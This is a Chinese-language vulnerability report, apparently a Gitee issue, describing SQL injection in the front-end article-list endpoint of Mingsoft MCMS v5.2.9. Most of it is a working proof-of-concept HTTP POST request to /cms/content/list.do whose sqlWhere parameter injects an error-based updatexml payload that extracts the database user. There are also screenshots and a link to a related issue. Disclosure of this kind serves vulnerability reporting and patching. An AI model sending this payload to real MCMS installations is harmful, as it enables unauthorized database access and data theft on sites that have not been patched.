Mingsoft MCMS v5.2.9 前台查询文章列表接口存在SQL注入

系统环境
win10
MCms版本
v5.2.9
漏洞截图

![输入图片说明](https://foruda.gitee.com/images/1701852819618023393/d2033144_12918612.png "屏幕截图")

POC:

```
POST /cms/content/list.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Cache-Control: no-cache
Pragma: no-cache
token: null
Content-Length: 327
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/ms/cms/content/main.do
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

categoryType=1&sqlWhere=%5b%7b%22action%22%3a%22and%22%2c%22field%22%3a%22updatexml(1%2cconcat(0x7e%2c(SELECT%20%20current_user)%2c0x7e)%2c1)%22%2c%22el%22%3a%22eq%22%2c%22model%22%3a%22contentTitle%22%2c%22name%22%3a%22æç« æ é¢%22%2c%22type%22%3a%22input%22%2c%22value%22%3a%22111%22%7d%5d&pageNo=1&pageSize=10
```

漏洞原理:
参考：[Mingsoft MCMS v5.2.9 SQL后台注入](https://gitee.com/mingSoft/MCMS/issues/I5X1U2)

![输入图片说明](https://foruda.gitee.com/images/1701854319056874897/d6f59895_12918612.png "屏幕截图")

![输入图片说明](https://foruda.gitee.com/images/1701854358195664341/6ec5e2ae_12918612.png "屏幕截图")

GVP 铭飞/MCMS

Content Risk Flag

Comments (2)

GVP铭飞/MCMS

Content Risk Flag